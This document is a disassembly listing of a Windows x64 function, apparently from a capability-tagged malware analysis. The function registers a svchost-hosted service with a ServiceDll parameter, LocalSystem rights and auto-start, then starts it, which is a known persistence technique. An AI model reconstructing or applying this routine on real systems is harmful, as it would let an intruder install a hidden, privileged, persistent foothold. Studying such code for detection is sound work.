Function at 0x1400015b0
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rsi, rdx
mov rbx, rcx
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0x104
call fcn.140007c70
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x104
call fcn.140007c70
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r10, rax
test rax, rax
je 0x140001b5e
lea rcx, [rbp + 0xe0]
dec rcx
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001620
mov eax, dword [0x140021090]
movups xmm0, xmmword [str._SystemRoot_System32_svchost.exe__k]
movups xmm1, xmmword [0x140021080]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov dword [rcx + 0x20], eax
movzx eax, word [0x140021094]
mov word [rcx + 0x24], ax
lea rcx, [rbp + 0xe0]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001660
xor edx, edx
nop dword [rax]
movzx eax, byte [rbx + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001670
xor r14d, r14d
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x60], r14
mov r9d, 0xf01ff
mov qword [rsp + 0x58], r14
mov r8, rbx
mov qword [rsp + 0x50], r14
mov rdx, rbx
mov qword [rsp + 0x48], r14
mov rcx, r10
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x120
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
je 0x140001b5e
mov r9, rbx
mov qword [rsp + 0x20], rbx
lea r8d, [r14 + 7]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
call fcn.140001500
test al, al
je 0x140001b5e
lea rcx, [rbp - 0x30]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140001710
movzx eax, word [0x1400210f0]
movups xmm0, xmmword [str.SYSTEMCurrentControlSetServices_]
movups xmm1, xmmword [0x1400210e0]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov word [rcx + 0x20], ax
movzx eax, byte [0x1400210f2]
mov byte [rcx + 0x22], al
lea rcx, [rbp - 0x30]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140001750
xor edx, edx
nop dword [rax]
movzx eax, byte [rbx + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001760
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x330]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
mov qword [rbp + 0x330], r14
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001b5e
lea rcx, [rbp + 0xe0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r14b
jne 0x1400017c6
mov rcx, qword [rbp + 0x330]
lea rdx, str.ImagePath
mov dword [rsp + 0x28], eax
mov r9d, 2
lea rax, [rbp + 0xe0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r9, str.DisplayName
mov qword [rsp + 0x20], rbx
mov r8d, 1
lea rdx, [rbp - 0x30]
call fcn.140001500
test al, al
je 0x140001b5e
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x330]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
mov qword [rbp + 0x330], r14
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x330]
lea rax, [0x140020fdd]
mov dword [rsp + 0x28], r14d
lea rdx, str.Description
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x330]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
mov qword [rbp + 0x330], r14
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x330]
lea rax, str.LocalSystem
mov dword [rsp + 0x28], 0xb
lea rdx, str.ObjectName
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x338]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
mov dword [rbp + 0x330], 1
mov qword [rbp + 0x338], r14
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x338]
lea rax, [rbp + 0x330]
mov dword [rsp + 0x28], 4
lea rdx, str.ErrorControl
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x338]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
mov dword [rbp + 0x330], 2
mov qword [rbp + 0x338], r14
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x338]
lea rax, [rbp + 0x330]
mov dword [rsp + 0x28], 4
lea rdx, str.Start
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001b5e
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x30]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140001a90
movsd xmm0, qword [str.Parameters]
lea r9, str.ServiceDll
mov eax, dword [0x140021168]
lea rdx, [rbp - 0x30]
movsd qword [rcx], xmm0
mov r8d, 2
mov dword [rcx + 8], eax
mov qword [rsp + 0x20], rsi
call fcn.140001500
test al, al
je 0x140001b5e
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
xor edx, edx
lea rcx, [rbp - 0x80]
mov ebx, eax
lea r8d, [rdx + 0x50]
call fcn.140007c70
xor eax, eax
lea rcx, [rbp + 0x1f0]
xor edx, edx
mov qword [rsp + 0x70], rax
mov r8d, 0x104
mov word [rsp + 0x78], ax
call fcn.140007c70
mov r8d, 0x104
lea rdx, [rbp + 0x1f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov r8d, 0xa
lea rdx, [rsp + 0x70]
mov ecx, ebx
call fcn.14000caec
lea rax, [rsp + 0x70]
mov edx, 2
mov qword [rbp - 0x80], rax
lea r8, [rbp - 0x80]
lea rax, [rbp + 0x1f0]
mov rcx, rdi
mov qword [rbp - 0x78], rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x140001b5e
mov al, 1
jmp 0x140001b60
xor al, al
lea r11, [rsp + 0x400]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret